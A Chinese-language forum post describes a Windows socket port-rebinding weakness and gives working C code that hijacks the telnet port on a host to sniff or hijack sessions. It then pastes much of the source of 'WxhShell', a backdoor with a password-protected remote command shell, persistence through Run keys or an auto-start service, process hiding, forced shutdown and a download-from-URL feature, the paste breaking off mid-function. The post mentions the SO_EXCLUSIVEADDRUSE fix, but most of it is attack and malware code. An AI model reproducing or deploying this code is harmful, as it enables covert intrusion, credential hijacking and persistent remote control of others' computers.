社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 10749阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: T)b3N| ONB  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 4a(g<5wfI  
@?<N +qdH>  
  saddr.sin_family = AF_INET; |HaU3E*R  
aDm-X r  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); u~' m7  
tU+@1~ ~  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 2"pE&QNd  
M[:O(  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 F,' ^se4&  
w o-O_uZB  
  这意味着什么?意味着可以进行如下的攻击: #2_o[/&}x@  
YWt"|  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ,H.(\p_N  
l(h;e&9x  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) "wT ~$I"  
cJU!zG  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 p{A}p9sjx  
 5uQv  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  v\vE^|-\/  
qT4I Y$h  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 zznPD%#Sc  
K$MJ#Zx^  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Bg+<*z-?e  
F|]o9&/<]  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ATYQ6E[{MV  
AIvL#12  
  #include F<PWBs%  
  #include )'BJ4[aq\  
  #include Ee t+  
  #include    MZUF! B  
  DWORD WINAPI ClientThread(LPVOID lpParam);   pm'@2dT  
  int main() QOkE\ro  
  { Z$OF|ZZQ  
  WORD wVersionRequested; GibggOj2Q,  
  DWORD ret; ^}i5 0SG:y  
  WSADATA wsaData; xZ9}8*Q&:  
  BOOL val; :GwSs'$O  
  SOCKADDR_IN saddr; ;kyL>mV{  
  SOCKADDR_IN scaddr; }S~ysQwT  
  int err; 9#Aipu\  
  SOCKET s; s T :tFK\  
  SOCKET sc; L|]w3}ZT@  
  int caddsize; ch5`fm  
  HANDLE mt; H6%!v1 u  
  DWORD tid;   R,d70w (_  
  wVersionRequested = MAKEWORD( 2, 2 ); %=NM_5a}]  
  err = WSAStartup( wVersionRequested, &wsaData ); ooLnJ Y#  
  if ( err != 0 ) { `}k&HRn  
  printf("error!WSAStartup failed!\n"); #a7Amh\nT  
  return -1; } #\;np  
  } E<zT  
  saddr.sin_family = AF_INET; v@$evmA  
   'f=)pc#&g  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Ckl7rpY+  
0@sr NuW  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); V7B=+(xK  
  saddr.sin_port = htons(23); fG8}=xH_&  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #.\,y>`  
  { [p( #WM:  
  printf("error!socket failed!\n"); AhbT/  
  return -1; ADLa.{  
  } 1c<CEq:?e%  
  val = TRUE; 66^1&D"  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 in=k:j,U0  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) )}k?r5g  
  { c{m ;"ZCFS  
  printf("error!setsockopt failed!\n"); gCk y(4  
  return -1; =E{{/%u{{S  
  } 9%3 r-U=  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; F$6])F  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 dPH! V6r  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 VQNYQqu`[  
~`G;=ITo  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) K\^&_#MG  
  { /c_kj2& ]9  
  ret=GetLastError(); XvA0nEi  
  printf("error!bind failed!\n"); &{%S0\K Y  
  return -1; DK@w^ZW6JA  
  } e~t}z_>F  
  listen(s,2); :"<B@Z  
  while(1) 6PzN>+t^y  
  { 7/^TwNsv  
  caddsize = sizeof(scaddr); ~q8V<@?  
  //接受连接请求 Zv1Bju*y  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 7'{Yz  
  if(sc!=INVALID_SOCKET) sO{0hZkc  
  { ~*' 8=D?)  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); | z(Ws  
  if(mt==NULL) |oBdryi  
  { a! 0?L0_W&  
  printf("Thread Creat Failed!\n"); 7/D9n9F  
  break; siss_1J  
  } I7q?V1f u4  
  } k[r./xEv+t  
  CloseHandle(mt); uhw5O9  
  } +/@ZnE9s  
  closesocket(s); RK~FT/  
  WSACleanup(); shDt&_n  
  return 0; HjUw[Yz+6  
  }   I*vj26qvg  
  DWORD WINAPI ClientThread(LPVOID lpParam) _} X`t8Lh  
  { vHI"C %  
  SOCKET ss = (SOCKET)lpParam; w371.84  
  SOCKET sc; *xv/b=  
  unsigned char buf[4096]; XC$+ `?  
  SOCKADDR_IN saddr; Y&05 *b"  
  long num; ](9{}DHV  
  DWORD val; G7/?hky 0.  
  DWORD ret; qh)!|B  
  //如果是隐藏端口应用的话,可以在此处加一些判断 i"sYf9,  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   N}l]Ilm$34  
  saddr.sin_family = AF_INET; 3Q*RR"3  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); uZ0 $s$  
  saddr.sin_port = htons(23); SRG!G]?-  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) !7ZfT?&  
  { bW 86Iw  
  printf("error!socket failed!\n"); Iu1Sj`A  
  return -1; 3|83Jnh  
  } t0asW5f  
  val = 100; 2LxVt@_R!%  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) OuBMVn  
  { :|m~<'g  
  ret = GetLastError(); 2ucF( ^  
  return -1; *v:,rh  
  } Z '>eT)  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) G%p!os\>  
  { :WfB!4%!  
  ret = GetLastError(); B 1d%#  
  return -1; P7>C4rmQ  
  } ^zWO[$n}tP  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) }%>$}4 ,  
  { QnP?;  
  printf("error!socket connect failed!\n"); ' ! UF&  
  closesocket(sc); q| =q:4_L  
  closesocket(ss); |Z7bd^  
  return -1; t~<-4N$(  
  } @'<j!CqQ o  
  while(1) 1[gjb((  
  { P{i8  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 l>5]Wd{/  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 h-_0 A]  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 [q>i  
  num = recv(ss,buf,4096,0); y8~)/)l&  
  if(num>0) 6rN5Xf cS  
  send(sc,buf,num,0); }'.Sn{OWf  
  else if(num==0) S~a:1 _Wl  
  break; WH*=81)zp  
  num = recv(sc,buf,4096,0); X_sG6Q@  
  if(num>0) Wse*gO  
  send(ss,buf,num,0); DT(Zv2  
  else if(num==0) KEVy%AP=*h  
  break; rd 35)  
  } RkH oT^  
  closesocket(ss); f\F_?s)_y  
  closesocket(sc); 5.K$ X$+7}  
  return 0 ; ETWmeMN  
  } zWmo OnK  
w`#0 Y9O  
! ^*;c#  
========================================================== v$Y1+Ep9  
!K^kKP*l  
下边附上一个代码,,WXhSHELL 9uq+Ve>  
8apKp?~yW  
========================================================== Hj4w i|  
Uo[5V|>X6  
#include "stdafx.h" hq8/`u YF  
zUUxxS_?  
#include <stdio.h> v!RB(T3  
#include <string.h> zju,#%  
#include <windows.h> "MS`d+rf\  
#include <winsock2.h> a9EI7pnq  
#include <winsvc.h> *~<]|H5~  
#include <urlmon.h> 7@y!R   
E=_B@VJknW  
#pragma comment (lib, "Ws2_32.lib") wyzBkRg.  
#pragma comment (lib, "urlmon.lib") iJKm27 ">  
zm3MOH^a  
#define MAX_USER   100 // 最大客户端连接数 ~lalc ^  
#define BUF_SOCK   200 // sock buffer 8.%a"sxr  
#define KEY_BUFF   255 // 输入 buffer cA*X$j6  
q(PT'z  
#define REBOOT     0   // 重启 7F9g:r/^  
#define SHUTDOWN   1   // 关机 i e)1h  
i!}nGJGg  
#define DEF_PORT   5000 // 监听端口 u*-<5& X  
;!Z7-OZX  
#define REG_LEN     16   // 注册表键长度 rNzhP*Fw  
#define SVC_LEN     80   // NT服务名长度 s)DNLx  
`J ,~hK  
// 从dll定义API /'=^^%&:B  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 89- 8v^ Pq  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); J!fc)h  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); =#")G1A  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 19-yM`O  
Y <i}"eI*  
// wxhshell配置信息 -MW(={#   
struct WSCFG { Y./}zCT  
  int ws_port;         // 监听端口 4k2c mM$  
  char ws_passstr[REG_LEN]; // 口令 yb.|7U?/x  
  int ws_autoins;       // 安装标记, 1=yes 0=no <QW1fE  
  char ws_regname[REG_LEN]; // 注册表键名 "O1*uwm  
  char ws_svcname[REG_LEN]; // 服务名 6p]R)K>wS  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 79B`w #  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 |`;1p@w"  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 (xSi6EZ6;  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 8qYGlew,  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" %b%<g%@i  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 f`]E]5?  
mhkAI@)>  
}; dVtLYx  
qjEWk."  
// default Wxhshell configuration k+GK1Yl  
struct WSCFG wscfg={DEF_PORT, Sfa m=.l  
    "xuhuanlingzhe", *7fPp8k+Z;  
    1, 3k[<4-  
    "Wxhshell", -5_xI)i  
    "Wxhshell", 2gR_1*|  
            "WxhShell Service", +:Q/<^Z  
    "Wrsky Windows CmdShell Service", 1;~1U9V  
    "Please Input Your Password: ", M j%|'dZz  
  1, #\ S$$gP  
  "http://www.wrsky.com/wxhshell.exe", yr 9)ga%  
  "Wxhshell.exe" !#gE'(J;c  
    }; 7{6.  
lLFBop  
// 消息定义模块 Jas|P}{=fT  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; *P\_:>bV(  
char *msg_ws_prompt="\n\r? for help\n\r#>"; {s'_zS z  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";  p6l@O3  
char *msg_ws_ext="\n\rExit."; -/2$P  
char *msg_ws_end="\n\rQuit."; 3b[+m}UWQ  
char *msg_ws_boot="\n\rReboot..."; D!$ =oK  
char *msg_ws_poff="\n\rShutdown..."; U\ E{-7  
char *msg_ws_down="\n\rSave to "; >A( C9_\  
 glX2L ~  
char *msg_ws_err="\n\rErr!"; ;Y&?ixx  
char *msg_ws_ok="\n\rOK!"; XaS_3d  
3$yL+%i  
char ExeFile[MAX_PATH]; @`8 B} C  
int nUser = 0; 18tQWI$  
HANDLE handles[MAX_USER]; z'D{:q  
int OsIsNt; Qbpl$L  
jh](s U  
SERVICE_STATUS       serviceStatus; vA-p} ]%  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; .%b_3s".  
jz7ltoP  
// 函数声明 <Jrb"H[ T"  
int Install(void); u#,'ys  
int Uninstall(void); U5$DJ5>8  
int DownloadFile(char *sURL, SOCKET wsh); sP8&p*TJF  
int Boot(int flag); yrNc[kS/  
void HideProc(void); Ns= b&Uyc  
int GetOsVer(void); [ .uaO  
int Wxhshell(SOCKET wsl); ZBq*<VtV  
void TalkWithClient(void *cs); s1$#G!'  
int CmdShell(SOCKET sock); Cj9O [  
int StartFromService(void); LtWU"42  
int StartWxhshell(LPSTR lpCmdLine); <$2zr4  
e+ w  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 9v,8OK)  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); m`q> _*  
w*P4_= :%Y  
// 数据结构和表定义 yBh"qnOT  
SERVICE_TABLE_ENTRY DispatchTable[] = %FFm[[nxI  
{ =\7p0cq&*  
{wscfg.ws_svcname, NTServiceMain}, }JMkM9]  
{NULL, NULL} `(suRp8!  
}; `+;oo B  
_rVX_   
// 自我安装 < LAD  
int Install(void) xKzFrP;/{  
{ (NN14  
  char svExeFile[MAX_PATH]; GZVl384@  
  HKEY key; RAQ;O  
  strcpy(svExeFile,ExeFile); '#::ba[9w  
h`rjDd  
// 如果是win9x系统,修改注册表设为自启动 W&f Py%g  
if(!OsIsNt) { R:^?6f<Z}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { at]Q4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); H[k3)r2  
  RegCloseKey(key); 5(`GF|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { gH)B` @  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $uB(@Ft.  
  RegCloseKey(key); N;pr:  
  return 0; 7[0k5-  
    } W2Z]?l;vQQ  
  } Jxw:Jk ~  
} U (7P X`1  
else { Y[?Wt/O;  
arL&^]JnZ,  
// 如果是NT以上系统,安装为系统服务 |Z|xM  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 8%f! X51  
if (schSCManager!=0) O t<%gj;^  
{ 0)a?W,+O  
  SC_HANDLE schService = CreateService !Y(qpC:$  
  ( Fe< t@W  
  schSCManager, JlGD.!`  
  wscfg.ws_svcname, 7]zZh a4X  
  wscfg.ws_svcdisp, rL3Vogw'e  
  SERVICE_ALL_ACCESS, (gB=!1/|G  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , bx e97]  
  SERVICE_AUTO_START, lD#1"$Coz  
  SERVICE_ERROR_NORMAL, i3j jPN!  
  svExeFile, .3&OFM  
  NULL, T-i]O*u  
  NULL, Q9zpX{JT  
  NULL, K# < Wt5  
  NULL, k T>}(G||  
  NULL F|{?GV%hF  
  ); 5B/\vLHg4  
  if (schService!=0) "0)G|pZI  
  { P;pg+L.I  
  CloseServiceHandle(schService); 7N=VVD~!b  
  CloseServiceHandle(schSCManager); # |[@Due  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $0 zL  
  strcat(svExeFile,wscfg.ws_svcname); |T&#"q,i9%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { FWTl:LqFO  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); YKd?)$J  
  RegCloseKey(key); P32'`!/:  
  return 0; bA,D]  
    } wVtBeZa  
  } C YKGf1;If  
  CloseServiceHandle(schSCManager); ur7a%NH  
} *OcptmY<  
} /2cOZ1G;  
L-gF$it\*b  
return 1; (oEA)yc|  
} (9|K}IM:  
boovCW  
// 自我卸载 [_1G\z_iE  
int Uninstall(void) kO4~N-&  
{ ^ ?9 ~R"  
  HKEY key; XX6)(  
*.l=> #qF  
if(!OsIsNt) { ka%pS  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { I!'(>VlP7  
  RegDeleteValue(key,wscfg.ws_regname); tRCd(Z,WY  
  RegCloseKey(key); t[,\TM^h}0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4q8%!\A+  
  RegDeleteValue(key,wscfg.ws_regname); $dw;Kj'\  
  RegCloseKey(key); CFxs`C^  
  return 0; *E_= 8OV  
  } f |5|n>*  
} R.;59s  
} a9-;8`fCR  
else { DR8dJ#  
^KR(p!%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ^o:5B%}#[  
if (schSCManager!=0) >UH=]$0N  
{ SUhP e+  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ,Z"sh*  
  if (schService!=0) /VkJ+%}+j  
  { A79SAheX#  
  if(DeleteService(schService)!=0) { oGJI3Oh  
  CloseServiceHandle(schService); xw Qkk  
  CloseServiceHandle(schSCManager); ~'iuh>O)  
  return 0; 0AenDm@9  
  } XWV~6"  
  CloseServiceHandle(schService); rE~O}2a#H  
  } i%w'Cs0y  
  CloseServiceHandle(schSCManager); %SXqJW^:  
} uESHTX/[  
} n1h+`nsf  
rD?o97  
return 1; -tZb\4kh  
} K)ib{V(50  
k2;yl _7  
// 从指定url下载文件 ppA8c6  
int DownloadFile(char *sURL, SOCKET wsh)  tvILLR  
{ a8TE  
  HRESULT hr; eO#)QoHj^  
char seps[]= "/"; a3[aXe  
char *token; '/?&Gol-  
char *file; u"ow?[E  
char myURL[MAX_PATH]; 4esf&-gG  
char myFILE[MAX_PATH]; &(0);I@fc  
q~C6+  
strcpy(myURL,sURL); QKxu vW  
  token=strtok(myURL,seps); #a| 5A:g%  
  while(token!=NULL) 9AaixI  
  { **"sru;@=  
    file=token; V6N#%(?3  
  token=strtok(NULL,seps); (?(ahtT4T  
  } UQ y+ &;#5  
anYZ"GR+  
GetCurrentDirectory(MAX_PATH,myFILE); 6 ?cV1:jh  
strcat(myFILE, "\\"); w:Vs$,  
strcat(myFILE, file); R?R6|4  
  send(wsh,myFILE,strlen(myFILE),0); _35?z"0  
send(wsh,"...",3,0); 'yqp   
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Lm/^ 8V+  
  if(hr==S_OK) ezeGw?/  
return 0; 1Cthi[ B  
else ;Lx5r=<Hx  
return 1; ;F5%X\ t-  
}Na*jr0y9{  
} yL1\V7GI{[  
O;r8l+  
// 系统电源模块 #0tM88Wi  
int Boot(int flag) MwZ`NH|n3"  
{ nr}H;wB  
  HANDLE hToken; v{+*/NQ_  
  TOKEN_PRIVILEGES tkp; mz''-1YY$  
[z?XVl<  
  if(OsIsNt) { bbnAmZ   
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); O<5bsKw'r  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Cv3H%g+as  
    tkp.PrivilegeCount = 1; ZtiOf}@i\  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &E~7ty'  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); m-K6y7t  
if(flag==REBOOT) { _IGQ<U<z  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) aG!!z>  
  return 0; ^?,/_3  
} g.'4uqU  
else { #~Q0s)Ze  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ax$0J|}7  
  return 0; cuHs`{u@P  
} /<5/gV 1Q  
  } tfsG P]9$  
  else { DvGtO)5._  
if(flag==REBOOT) { %PQC9{hUy$  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) N4r`czoj  
  return 0; lVt gg?  
} 8K$:9+OY  
else { 9r!%PjNvE  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) cB TMuDT_  
  return 0; p 7sYgz  
} r\yj$Gu>(  
} )pJzw-m"  
?tOzhrv  
return 1; ;2$^=:8  
} ky*-_  
F4@h} T5)  
// win9x进程隐藏模块 ][9M_.  
void HideProc(void) nt4>9;  
{ +I U]=qS  
( mycUU%  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); @$aCUJ/mE  
  if ( hKernel != NULL ) 6w54+n  
  { ,]+6kf5  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); y8sI @y6  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); <I} k%q'  
    FreeLibrary(hKernel); mu*wX'.'  
  } jjs-[g'}  
5(,WN  
return; sUA)I%Q!  
} om(#P5cSM;  
1m&(3% #{  
// 获取操作系统版本 45# `R%3  
int GetOsVer(void) w>#~_x, `  
{ +Q{jV^IT9  
  OSVERSIONINFO winfo; (2S,0MHk  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); O32:j   
  GetVersionEx(&winfo); L3&NGcd  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) h><;TAp  
  return 1; '&\km~&  
  else -.xs=NwB.|  
  return 0; {8E hC/=  
} R+5x:mpHy  
  ]3%Z  
// 客户端句柄模块 =U?"#   
int Wxhshell(SOCKET wsl) K,J:i^2  
{ ~;{)S}U@R  
  SOCKET wsh; \wM r[_LW  
  struct sockaddr_in client; C! :\H<gI  
  DWORD myID; >2_J(vm>  
TkK- r(=  
  while(nUser<MAX_USER) M6?*\ 9E  
{ !X8:#a(  
  int nSize=sizeof(client); a7ZPV1k  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); w+Ag!O}.L  
  if(wsh==INVALID_SOCKET) return 1; pbu8Ib8z  
Z_S~#[\7^]  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); >RRb8=[J  
if(handles[nUser]==0) Rj-<tR{  
  closesocket(wsh); ]NN9FM.2b/  
else gXG1w>  
  nUser++; C8i}~x<  
  } s`&8tP  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); FFPO?y$  
RTSg=    
  return 0; G<$UcXg  
} I#m5Tl|#  
.HMO7n6)8l  
// 关闭 socket XjWoUnz  
void CloseIt(SOCKET wsh) `_<K#AGAi  
{ m39 `f,M  
closesocket(wsh); .0nL; o  
nUser--; ]^"*Fdn  
ExitThread(0); i9_ZK/*  
} :o=[Zp~B4d  
C";F's)  
// 客户端请求句柄 Qu!Lc:oM?  
void TalkWithClient(void *cs) 5PG%)xff*  
{ w R1M_&-s  
$TWt[  
  SOCKET wsh=(SOCKET)cs; :FB#,AOa_  
  char pwd[SVC_LEN]; &p0*:(j  
  char cmd[KEY_BUFF]; 10{ZW@!7  
char chr[1]; +:;r} 7Zh  
int i,j; GKSfr8US4  
8 yQjB-,#  
  while (nUser < MAX_USER) { YX,y7Uhn  
crUt8L-B4  
if(wscfg.ws_passstr) { J6Cw1Pi  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); eXUXoK=T  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); : >4{m)  
  //ZeroMemory(pwd,KEY_BUFF); byoDGUv  
      i=0; [P407Sa"  
  while(i<SVC_LEN) { 6I"Q9(  
|lrLTI^a  
  // 设置超时 \_qiUvPf\  
  fd_set FdRead; tGe|@.!  
  struct timeval TimeOut; g!i\ AMG?  
  FD_ZERO(&FdRead); 94LFElE3  
  FD_SET(wsh,&FdRead); BJ wPSKL  
  TimeOut.tv_sec=8; t=Tu-2,k  
  TimeOut.tv_usec=0; ]HCu tq  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); zaf%%  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); (pNA8i%=G  
D^$Nn*i;U  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); lt[{u$  
  pwd=chr[0]; " 8>*O;xk  
  if(chr[0]==0xd || chr[0]==0xa) { Ns?y) G>:  
  pwd=0; H"6Sj-<=  
  break; w-pdpbHV  
  } y7txIe!<5  
  i++;  Q47Rriw  
    } + v{<<  
@;!s"!~sv  
  // 如果是非法用户,关闭 socket "JT R5;`w  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ggIz) </  
} uAwT)km {  
eJIBkFW/3y  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); +h.$ <=  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fE8/tx](  
iZ yhj%#  
while(1) { LcI,Dy|P  
76(-!Z@=J  
  ZeroMemory(cmd,KEY_BUFF); ayTEQS  
R&PQU/t)  
      // 自动支持客户端 telnet标准   4Bsx[~ u&  
  j=0; 8xW_N"P.>  
  while(j<KEY_BUFF) { Tl6%z9rY@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); FhVi|V a  
  cmd[j]=chr[0]; "hdc B 0  
  if(chr[0]==0xa || chr[0]==0xd) { e/'d0Gb-  
  cmd[j]=0; 3V>2N)3`A  
  break; 1-!u=]JDE  
  } :''^a  
  j++; LxC*{t/>8  
    } E`}KVi57  
# XE`8$  
  // 下载文件 E=+v1\t)]  
  if(strstr(cmd,"http://")) { QK)"-y}"g  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ZaBGkDX5  
  if(DownloadFile(cmd,wsh)) 3iMh)YH5b  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ov.7FZ+  
  else 6&5p3G{%0  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I4.^I/c(  
  } x'tYf^Va28  
  else { n$i}r\ so  
c&vY0/ [  
    switch(cmd[0]) { \#Ez["mD  
  sS7r)HV&GI  
  // 帮助 VC,wQb1J/  
  case '?': { ?{ns1nW:  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); x>THyY[sq  
    break;  Gqvj  
  } l6IpyIex  
  // 安装 maW,YOyRN  
  case 'i': { Nz %{T  
    if(Install()) ~ x- R78'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q|xJ)[AO  
    else M}MXR=X,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o[pv.:w  
    break; %Aq+t&-BCX  
    } {P ZN J 2~  
  // 卸载 a/Z >-   
  case 'r': { }c?/-ab>  
    if(Uninstall()) #&a-m,Y$sx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3eX;T +|o  
    else |7KW'=O  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PZmg7N  
    break; /2Q@M>  
    } Vw0cf;  
  // 显示 wxhshell 所在路径 u?6L.^Op  
  case 'p': { gx~79;6  
    char svExeFile[MAX_PATH]; /ZlPEs)  
    strcpy(svExeFile,"\n\r"); 0 UdAF  
      strcat(svExeFile,ExeFile); b.V\E Ok  
        send(wsh,svExeFile,strlen(svExeFile),0); 1D159NLB  
    break; 3}V`]B#a  
    } X;25G  
  // 重启 4 qMO@E_  
  case 'b': { +c$]Q-(  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); uSh!A  
    if(Boot(REBOOT)) %5.aC|^}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); huVw+vAA  
    else { .4P5tIn\  
